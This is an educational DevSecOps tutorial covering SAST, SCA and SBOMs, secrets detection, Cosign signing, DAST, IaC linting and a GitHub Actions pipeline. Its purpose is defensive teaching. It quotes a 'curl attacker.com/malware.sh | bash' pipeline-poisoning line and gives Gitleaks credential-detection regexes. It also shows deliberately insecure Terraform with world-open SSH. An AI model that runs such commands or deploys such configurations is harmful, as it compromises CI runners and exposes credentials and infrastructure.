DEVSECOPS & CI/CD PIPELINE SECURITY: SAST, DAST, SCA, SECRETS & SUPPLY CHAIN

Architect automated continuous application security and resilient software supply chains for B.Tech Computer Science & IT: The Shift-Left security paradigm; Static Application Security Testing (SAST) AST parsing; Dynamic Application Security Testing (DAST) crawling; Software Composition Analysis (SCA) dependency auditing; Software Bill of Materials (SBOM) standards (CycloneDX & SPDX); automated secrets detection with Git hooks; cryptographic artifact attestation using Sigstore Cosign; Infrastructure as Code (IaC) security linting; and automated security quality-gate orchestration in GitHub Actions and GitLab CI.

πŸ”„ Shift-Left Security, Continuous Automated Assurance & Supply Chain Integrity

In legacy software development lifecycles (SDLC), security was treated as an isolated audit phase conducted manually immediately prior to production deployment. This bottleneck model caused severe release friction, expensive late-stage architectural refactoring, and undetected vulnerabilities reaching live cloud applications. DevSecOps represents the integration of security practices, automated validation tooling, and continuous compliance enforcement into every phase of the modern Continuous Integration and Continuous Delivery (CI/CD) pipelineβ€”popularly termed the Shift-Left paradigm. Rather than testing running software exclusively in staging, security assurance begins before code is even committed: checking for leaked secrets with pre-commit hooks, parsing Abstract Syntax Trees via Static Application Security Testing (SAST), inventorying third-party libraries through Software Composition Analysis (SCA), and generating cryptographically verifiable Software Bills of Materials (SBOMs). By embedding automated security quality gates directly into Git commit, pull-request, and build stages, engineering teams guarantee that insecure code cannot proceed downstream to deployment.

1. DevSecOps CI/CD Security Pipeline Topography & Quality Gates
Architectural schematic illustrating the multi-stage DevSecOps pipeline, detailing specific automated security testing gates integrated across Commit, Build, Test, Release, and Deploy phases.
The DevSecOps Automated CI/CD Pipeline Topography
THE CONTINUOUS DEVSECOPS SECURITY PIPELINE ARCHITECTURE:

[DEVELOPER IDE WORKSTATION]
  β”œβ”€β”€ Pre-Commit Hooks (Gitleaks, Trufflehog): Blocks secrets from Git commits
  └── IDE Linting / Security Plugins (SonarLint): Catches unsafe syntax early
        β”‚
        β–Ό (Git Push / Pull Request Initiated)
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ STAGE 1: COMMIT & SOURCE AUDIT (FAST FEEDBACK: < 2 MINUTES)                                   β”‚
β”‚ β€’ Secrets Scanning       : Trufflehog / Gitleaks inspects git history for API keys, tokens.   β”‚
β”‚ β€’ SAST (Code Analysis)   : Semgrep / SonarQube parses ASTs for OWASP Top 10 vulnerabilities.  β”‚
β”‚ β€’ IaC Linting            : Checkov / tfsec scans Terraform, CloudFormation, Kubernetes YAMLs. β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
        β”‚
        β–Ό (Passes Gate 1: Merge to Main Branch)
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ STAGE 2: BUILD & DEPENDENCY AUDIT (SCA & SUPPLY CHAIN)                                        β”‚
β”‚ β€’ SCA (Third-Party Deps) : Snyk / Dependabot / pip-audit checks npm/pip dependencies for CVEs.β”‚
β”‚ β€’ SBOM Generation        : Syft compiles CycloneDX / SPDX Software Bill of Materials.         β”‚
β”‚ β€’ Container Image Build  : Multi-stage Docker build without hardcoded credentials.            β”‚
β”‚ β€’ Container Image Scan   : Trivy / Grype inspects OS packages and libraries for Critical CVEs.β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
        β”‚
        β–Ό (Passes Gate 2: Artifact Compilation)
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ STAGE 3: ARTIFACT SIGNING & ATTESTATION                                                       β”‚
β”‚ β€’ Cryptographic Signing  : Sigstore Cosign signs the Docker image using OIDC keyless signing. β”‚
β”‚ β€’ In-Toto Attestation    : Cryptographically binds SBOM, commit SHA, and test results.        β”‚
β”‚ β€’ Secure Registry Push   : Pushes verified, signed artifact to private container registry.    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
        β”‚
        β–Ό (Deployment to Staging Environment)
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ STAGE 4: RUNTIME TESTING (DAST & IAST)                                                        β”‚
β”‚ β€’ DAST (Dynamic Probing) : OWASP ZAP crawls live HTTP endpoints to verify runtime defenses.   β”‚
β”‚ β€’ IAST / API Fuzzing     : Instruments internal application bytecodes during integration testsβ”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
        β”‚
        β–Ό (Passes Final Gate: Production Release)
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ STAGE 5: PRODUCTION DEPLOYMENT & RUNTIME ADMISSION CONTROL                                    β”‚
β”‚ β€’ Admission Controller   : Kyverno / OPA Gatekeeper verifies Cosign signature before running! β”‚
β”‚ β€’ Runtime Protection     : Falco monitors kernel eBPF for anomalous container behavior.       β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
Quality Gate Policy Standard: If a security check in Stages 1, 2, or 3 flags a CRITICAL severity flaw (e.g. leaked AWS secret key, vulnerable log4j library, or unsigned container image), the CI/CD pipeline triggers 'exit 1', immediately terminating the build job and blocking downstream deployment until the defect is resolved.
Real-Time Example 1: Static Application Security Testing (SAST): AST Analysis via Semgrep
Analysis of Static Application Security Testing (SAST). Explains why simple regular expressions produce unacceptable false positive rates and demonstrates how modern SAST engines (like Semgrep) parse code into Abstract Syntax Trees (ASTs) to track taint flow and injection sinks.
YAML (Custom Semgrep SAST Rule: Detect Unparameterized SQL Injection)
rules:
  - id: python-sqli-taint-tracking
    languages:
      - python
    severity: ERROR
    message: "Critical Vulnerability: Untrusted user input concatenated directly into SQL execution sink!"
    metadata:
      cwe: "CWE-89: Improper Neutralization of Special Elements used in an SQL Command"
      owasp: "A03:2021-Injection"
      confidence: HIGH
    mode: taint
    pattern-sources:
      # Source of untrusted data: Flask / Django request parameters
      - pattern: flask.request.args.get(...)
      - pattern: flask.request.form[...]
      - pattern: request.GET.get(...)
      - pattern: request.POST[...]
    pattern-sanitizers:
      # Valid sanitizers that neutralize the injection
      - pattern: int(...)
      - pattern: float(...)
      - pattern: sqlalchemy.text(...)
    pattern-sinks:
      # Insecure execution sinks
      - pattern: cursor.execute($SQL, ...)
      - pattern: db.engine.execute($SQL, ...)
      - pattern: sqlite3.connect(...).cursor().execute($SQL, ...)
Abstract Syntax Tree (AST) Advantage: Regex matching for 'cursor.execute(' flags every database call indiscriminately. Semgrep's taint-mode engine constructs an AST data-flow graph: 1. Tracks user input from request.args.get('user_id') [Source]. 2. Verifies whether the variable passes through a type cast or parameterization binding [Sanitizer]. 3. If untrusted data reaches cursor.execute(f"SELECT * FROM users WHERE id = {user_id}") [Sink] without sanitization, it flags a true positive with near-zero false alarms.
Real-Time Example 2: Software Composition Analysis (SCA) & SBOMs: CycloneDX & Syft
Auditing open-source dependencies using Software Composition Analysis (SCA) and generating Software Bills of Materials (SBOMs). Explains direct vs. transitive dependencies, vulnerability inheritance, and generating CycloneDX JSON manifests via syft.
Bash (Generating SBOM via Syft & Auditing Dependencies via Grype)
# ==============================================================================
# SOFTWARE SUPPLY CHAIN AUDITING WITH SYFT AND GRYPE
# ==============================================================================

# Step 1: Generate a standardized CycloneDX JSON Software Bill of Materials (SBOM)
# Syft parses package managers (npm, pip, maven, go.mod) and OS packages
syft enterprise-app:v2.1.0 -o cyclonedx-json=sbom.json

# Step 2: Audit the generated SBOM against open vulnerability databases (NVD / GitHub Advisory)
# Grype matches packages and versions inside sbom.json against active CVE catalogs
grype sbom:./sbom.json --fail-on critical

# ==============================================================================
# DISSECTING THE STANDARDIZED CYCLONEDX SBOM JSON STRUCTURE (RFC 9535):
# ==============================================================================
# {
#   "bomFormat": "CycloneDX",
#   "specVersion": "1.5",
#   "serialNumber": "urn:uuid:3b4e3e53-3604-4c5a-9f0d-8c5708c5ae48",
#   "version": 1,
#   "metadata": {
#     "timestamp": "2026-11-04T12:00:00Z",
#     "component": {
#       "type": "application",
#       "name": "enterprise-api-gateway",
#       "version": "2.1.0"
#     }
#   },
#   "components": [
#     {
#       "type": "library",
#       "name": "urllib3",
#       "version": "1.26.4",
#       "purl": "pkg:pypi/urllib3@1.26.4",
#       "hashes": [
#         { "alg": "SHA-256", "content": "2f4da6b4d2e0..." }
#       ],
#       "licenses": [{ "license": { "id": "MIT" } }]
#     }
#   ],
#   "dependencies": [
#     { "ref": "pkg:pypi/requests@2.25.1", "dependsOn": ["pkg:pypi/urllib3@1.26.4"] }
#   ]
# }
Supply Chain Insight: Modern software applications consist of over 85% open-source third-party libraries. When developers install a single top-level package (e.g. 'requests'), it pulls dozens of Transitive Dependencies (e.g. 'urllib3', 'certifi', 'idna'). Software Composition Analysis recursively builds the dependency tree, ensuring vulnerabilities hidden three layers deep in transitive dependencies are identified and patched.
Real-Time Example 3: Secrets Detection & Pre-Commit Hook Hardening (Gitleaks)
Preventing credential leakage in Git source repositories. Details high-entropy pattern analysis, custom regular expression rules for cloud keys, and configuring local Git pre-commit hooks and CI/CD secret scanning using Gitleaks.
TOML (.gitleaks.toml Custom Configuration & Pre-Commit Script)
# ==============================================================================
# ENTERPRISE SECRETS SCANNING RULES (.gitleaks.toml)
# Detects high-entropy strings, AWS access keys, private keys, and API tokens
# ==============================================================================

title = "Nikita Infotech Enterprise Secrets Detection Rules"

[[rules]]
id = "aws-access-key-id"
description = "Detected an AWS Access Key ID embedded in source code"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
keywords = ["akia", "asia", "aws_access_key_id"]
severity = "CRITICAL"

[[rules]]
id = "generic-private-key"
description = "Detected an unencrypted RSA/OpenSSH/EC Private Key block"
regex = '''-----BEGIN[ A-Z0-9_-]+PRIVATE KEY-----'''
severity = "CRITICAL"

[[rules]]
id = "high-entropy-api-secret"
description = "Detected a high-entropy string assigned to a password or token variable"
regex = '''(?i)(password|secret|token|api_key|auth_token)\s*(=|:=|:)\s*['"][A-Za-z0-9+/=_-]{20,}['"]'''
entropy = 4.5
severity = "HIGH"

[allowlist]
description = "Permitted mock test fixtures"
paths = [
  '''tests/fixtures/.*''',
  '''package-lock\.json'''
]

# ==============================================================================
# LOCAL GIT PRE-COMMIT HOOK IMPLEMENTATION (.git/hooks/pre-commit):
# ==============================================================================
# #!/bin/sh
# echo "[*] Running pre-commit secrets audit..."
# gitleaks protect --staged --verbose --redact
# if [ $? -ne 0 ]; then
#     echo "[❌] COMMIT REJECTED: Leaked secrets detected in staged files!"
#     echo "    Remove sensitive keys and use environment variables / secrets managers."
#     exit 1
# fi
# echo "[βœ”] Secrets audit passed cleanly."
# exit 0
Remediation Law: Simply making a new commit that deletes an exposed API key does NOT secure the repository. The secret remains permanently readable inside the '.git' historical object tree. If a secret is committed, the key must be immediately revoked at the provider level, rotated, and the Git commit history purged using tools like 'git-filter-repo'.
Real-Time Example 4: Cryptographic Supply Chain Attestation: Sigstore Cosign & SLSA
Analysis of the Supply-chain Levels for Software Artifacts (SLSA) framework and Sigstore Cosign. Demonstrates signing a container image using keyless OpenID Connect (OIDC) identities and verifying digital signatures prior to cluster admission.
Bash (Sigstore Cosign Keyless Image Signing & Verification Workflow)
# ==============================================================================
# SIGSTORE COSIGN: KEYLESS CONTAINER IMAGE SIGNING (SLSA LEVEL 3 COMPLIANCE)
# ==============================================================================

# Step 1: Sign the compiled container image using the CI/CD pipeline's OIDC Identity
# (e.g. GitHub Actions Workload Identity / GitLab CI Token)
# Cosign obtains a short-lived X.509 certificate from the Fulcio CA and logs the
# cryptographic signature to the immutable, append-only Rekor transparency log.
cosign sign --yes \
    --oidc-provider https://token.actions.githubusercontent.com \
    enterprise-registry.nikita-infotech.com/api-gateway:v2.1.0

# ==============================================================================
# Step 2: Verify the container image signature before allowing deployment
# Enforces that the image was built EXCLUSIVELY by the authorized GitHub repository workflow!
# ==============================================================================
cosign verify \
    --certificate-identity-regexp "https://github.com/nikita-infotech/core-pipeline/.*" \
    --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
    enterprise-registry.nikita-infotech.com/api-gateway:v2.1.0

# ==============================================================================
# Step 3: Attach an In-Toto Provenance Attestation (SLSA Provenance)
# Binds the exact Git commit SHA, compiler version, and build environment to the image
# ==============================================================================
cosign attest --yes \
    --predicate provenance.json \
    --type slsaprovenance \
    enterprise-registry.nikita-infotech.com/api-gateway:v2.1.0
Verification Output: The following checks were performed on each of these signatures: - The cosign claims were validated - The code-signing certificate was verified using Fulcio root certificates - The verification policy was applied: β”œβ”€β”€ Certificate Identity: https://github.com/nikita-infotech/core-pipeline/.github/workflows/deploy.yml@refs/heads/main └── OIDC Issuer: https://token.actions.githubusercontent.com - The signature presence was verified in the Rekor transparency log (Entry #4819204) [βœ”] Verified OK: Artifact authenticity and provenance mathematically confirmed.
Real-Time Example 5: Dynamic Application Security Testing (DAST): OWASP ZAP Automation
Analysis of Dynamic Application Security Testing (DAST) inside CI/CD pipelines. Demonstrates deploying an automated headless OWASP ZAP baseline scan against running staging environments, tuning alert thresholds, and exporting SARIF reports.
Bash (Headless OWASP ZAP Container Baseline Scan Pipeline)
# ==============================================================================
# AUTOMATED DAST BASELINE SCANNING VIA OWASP ZAP IN CI/CD
# Evaluates running HTTP web service without access to source code (Black-Box)
# ==============================================================================

# Execute OWASP ZAP Docker container against staging endpoint
# -t : Target URL to crawl and probe
# -g : Generate default configuration file
# -r : Export comprehensive HTML report
# -J : Export structured JSON telemetry
# -z : Pass specialized ZAP options (e.g. authentication tokens)
docker run --rm -v $(pwd)/zap-reports:/zap/wrk/:rw \
    ghcr.io/zaproxy/zaproxy:stable zap-baseline.py \
    -t https://staging-api.nikita-infotech.com \
    -r zap_security_report.html \
    -J zap_findings.json \
    -z "-config api.key=ZAP_INTERNAL_KEY -config view.locale=en_US"

# ==============================================================================
# SAMPLE STRUCTURAL DAST FINDINGS IN JSON OUTPUT:
# ==============================================================================
# {
#   "site": "https://staging-api.nikita-infotech.com",
#   "alerts": [
#     {
#       "pluginId": "10038",
#       "alert": "Content Security Policy (CSP) Header Not Set",
#       "riskcode": "2",
#       "riskdesc": "Medium (Medium)",
#       "desc": "Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks.",
#       "instances": [
#         { "uri": "https://staging-api.nikita-infotech.com/login", "method": "GET" }
#       ]
#     }
#   ]
# }
SAST vs. DAST Operational Division: β€’ SAST (White-Box): Scans raw code lines; identifies SQL injection syntax and insecure functions, but cannot verify whether the vulnerable code path is actually reachable or deployed. β€’ DAST (Black-Box): Probes running network sockets; tests real-world HTTP responses, cookie security flags (Secure, HttpOnly, SameSite), and server header configurations, but cannot pinpoint the exact line of source code responsible for the vulnerability.
Real-Time Example 6: Infrastructure as Code (IaC) Security Linting: Checkov & tfsec
Enforcing security guardrails on cloud infrastructure templates prior to provisioning. Demonstrates running Checkov against Terraform and Kubernetes YAML manifests to detect public S3 buckets, open security groups, and unencrypted databases.
Terraform Manifest & Checkov Automated IaC Security Audit
# ==============================================================================
# TERRAFORM INFRASTRUCTURE AS CODE MANIFEST (main.tf)
# ==============================================================================
resource "aws_s3_bucket" "financial_data_vault" {
  bucket = "nikita-corporate-financial-vault"
}

# DEFECT: Missing server-side encryption configuration!
# DEFECT: Missing public access block configuration!

resource "aws_security_group" "web_dmz_sg" {
  name        = "web-tier-firewall"
  description = "Security group for public load balancer"

  ingress {
    description = "Unrestricted SSH access - SEVERE MISCONFIGURATION!"
    from_port   = 22
    to_port     = 22
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"] # VULNERABILITY: World-accessible SSH port!
  }
}

# ==============================================================================
# EXECUTING AUTOMATED IaC LINTING VIA CHECKOV CLI:
# ==============================================================================
# $ checkov -d . --framework terraform --check CKV_AWS_20,CKV_AWS_24

# CHECKOV TELEMETRY SCAN RESULTS:
# Check: CKV_AWS_24: "Ensure no security groups allow ingress from 0.0.0.0:0 to port 22"
#    FAILED for resource: aws_security_group.web_dmz_sg
#    File: /main.tf:10-18
#    Guide: https://docs.bridgecrew.io/docs/networking_1
#
# Check: CKV_AWS_20: "Ensure S3 bucket has an ACL defined that prohibits public access"
#    FAILED for resource: aws_s3_bucket.financial_data_vault
#    File: /main.tf:1-3
#
# Summary: 0 Passed, 2 Failed, 0 Skipped. Build Terminated with Return Code 1.
Shift-Left IaC Impact: Discovering an open SSH port (0.0.0.0/0) after provisioning in production requires emergency firewall changes and incident triage. Catching the misconfiguration in Terraform code via Checkov takes 3 seconds in the pull request, preventing the insecure cloud asset from ever being instantiated.
Real-Time Example 7: Production-Grade GitHub Actions DevSecOps Pipeline Specification
Complete, end-to-end GitHub Actions workflow YAML configuration. Orchestrates automated secrets scanning (Gitleaks), SAST (Semgrep), SCA (Trivy), container build, image signing (Cosign), and automated SARIF security dashboard uploads.
YAML (.github/workflows/devsecops-pipeline.yml)
name: Enterprise DevSecOps CI/CD Security Pipeline

on:
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]

permissions:
  contents: read
  security-events: write # Required to upload SARIF results to GitHub Security tab
  id-token: write       # Required for Sigstore Cosign keyless OIDC authentication

jobs:
  # ============================================================================
  # STAGE 1: SECRETS DETECTION & STATIC ANALYSIS (FAST AUDIT)
  # ============================================================================
  security-scan:
    name: Code Security & Secrets Audit
    runs-on: ubuntu-latest
    steps:
      - name: Checkout Source Code
        uses: actions/checkout@v4
        with:
          fetch-depth: 0 # Full git history required for secrets scanning

      - name: Run Gitleaks Secrets Detection
        uses: gitleaks/gitleaks-action@v2
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

      - name: Run Semgrep SAST Analysis
        run: |
          pip install semgrep
          semgrep scan --config auto --sarif --output semgrep-results.sarif

      - name: Upload Semgrep SARIF Results to GitHub Security Tab
        uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: semgrep-results.sarif

  # ============================================================================
  # STAGE 2: CONTAINER AUDIT, BUILD & CRYPTOGRAPHIC SIGNING
  # ============================================================================
  build-and-sign:
    name: Build, Scan & Sign Container
    needs: security-scan
    runs-on: ubuntu-latest
    steps:
      - name: Checkout Source Code
        uses: actions/checkout@v4

      - name: Install Sigstore Cosign
        uses: sigstore/cosign-installer@v3.5.0

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v3

      - name: Build Container Image Locally
        run: |
          docker build -t local-build/app:${{ github.sha }} .

      - name: Run Trivy Vulnerability Scan on Built Image
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: local-build/app:${{ github.sha }}
          format: 'table'
          exit-code: '1' # Fails the pipeline if CRITICAL vulnerabilities exist!
          ignore-unfixed: true
          severity: 'CRITICAL,HIGH'

      - name: Log in to GitHub Container Registry (GHCR)
        if: github.ref == 'refs/heads/main'
        uses: docker/login-action@v3
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Tag and Push Image to Registry
        if: github.ref == 'refs/heads/main'
        run: |
          docker tag local-build/app:${{ github.sha }} ghcr.io/${{ github.repository }}:${{ github.sha }}
          docker push ghcr.io/${{ github.repository }}:${{ github.sha }}

      - name: Sign Container Image with Keyless Cosign
        if: github.ref == 'refs/heads/main'
        run: |
          cosign sign --yes ghcr.io/${{ github.repository }}:${{ github.sha }}
Pipeline Execution Telemetry: [+] Step 1: Gitleaks scanned 142 historical commits βž” 0 secrets detected. [+] Step 2: Semgrep parsed 18,400 lines of code across 84 files βž” 0 critical taint sinks. [+] Step 3: Trivy scanned container filesystem βž” 0 critical unfixed vulnerabilities. [+] Step 4: Docker image pushed to ghcr.io/nikita-infotech/core-app:sha-8841a9. [+] Step 5: Cosign signed image via Fulcio CA; signature logged to Rekor transparency log. [βœ”] Overall Pipeline Verdict: SUCCESS. Quality gates fully satisfied.
Real-Time Example 8: Debugging DevSecOps Pipeline Pitfalls & Tool Fatigue Triage
Troubleshooting common DevSecOps implementation failures: developer friction caused by false positive floods, pipeline build timeouts, managing unfixable upstream vendor CVEs, and insecure ephemeral CI/CD runner environments.
DevSecOps Pipeline Anti-Patterns & Engineering Remediations
DEVSECOPS PIPELINE DEFECTS & OPERATIONAL TRIAGE:

// ==============================================================================
// PITFALL 1: THE UNFILTERED SAST NOISE TSUNAMI (DEVELOPER BOYCOTT)
// DEFECT: Security team activates a SAST scanner with all 800 default rules enabled.
// RESULT: A single pull request returns 4,200 "Low" and "Informational" style warnings!
// Developers are overwhelmed, ignore all findings, or disable the security check entirely!
// REMEDIATION: Strict Baseline & Critical-Only Gates:
// 1. Configure quality gates to block builds ONLY on High and Critical findings with High confidence.
// 2. Tune out noisy informational linters.
// 3. Scan ONLY changed lines (diff-aware scanning) rather than the entire 10-year codebase on PRs!
// ==============================================================================

// ==============================================================================
// PITFALL 2: UNFIXABLE UPSTREAM VENDOR CVES BREAKING PRODUCTION BUILDS
// DEFECT: Trivy blocks a deployment because an upstream Debian package has a CVE with
// NO vendor patch available ("Fixed in: None").
// PROBLEM: Developers cannot fix the upstream Linux distribution bug; deployments are stuck!
// REMEDIATION: The '--ignore-unfixed' Flag & Compensating Controls:
// Pass '--ignore-unfixed' to scanners in CI/CD. If a CVE has no available vendor patch,
// document the finding in the risk register and deploy a WAF or container boundary control
// instead of breaking developer release velocity.
// ==============================================================================

// ==============================================================================
// PITFALL 3: POISONED PIPELINE EXECUTION (CI/CD RUNNER COMPROMISE)
// DEFECT: A public pull request executes an untrusted build script containing:
//   "curl https://attacker.com/malware.sh | bash"
// FLAW: The script executes inside the CI runner, stealing production AWS deployment keys!
// REMEDIATION: Runner Hardening & Least Privilege:
// 1. Never expose deployment credentials to pull requests from untrusted forks!
// 2. Use ephemeral, isolated container runners that terminate immediately after execution.
// 3. Enforce GitHub Actions OpenID Connect (OIDC) with short-lived STS tokens instead of
//    storing permanent AWS_ACCESS_KEY_ID secrets in repository settings!
// ==============================================================================
Triage Summary: - Developer Fatigue: Restricted blocking gates to High/Critical vulnerabilities and implemented diff-aware PR scanning. - Unfixable Upstream CVEs: Applied '--ignore-unfixed' filters to prevent blocking builds on zero-patch base package bugs. - CI/CD Runner Poisoning: Replaced permanent repository secrets with short-lived OIDC workload identities and isolated ephemeral runners.
Real-Time Example 9: DevSecOps & Pipeline Security Reference Matrix
A comprehensive reference summary pairing DevSecOps testing paradigms, operational phases, open-source and enterprise tools, standards, and academic exam keywords for B.Tech engineering students.
DevSecOps & CI/CD Pipeline Security Specification Reference Matrix
DEVSECOPS TESTING PARADIGMS & TOOLING SPECIFICATION MATRIX:
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ TESTING PARADIGM        β”‚ OPERATIONAL PHASE            β”‚ LEADING TOOLS    β”‚ CORE SECURITY OBJECTIVE       β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Secrets Detection       β”‚ Pre-Commit / Commit Stage    β”‚ Gitleaks,        β”‚ Intercepts hardcoded API keys,β”‚
β”‚                         β”‚ (Pre-Push Verification)      β”‚ Trufflehog       β”‚ private tokens, AWS secrets   β”‚
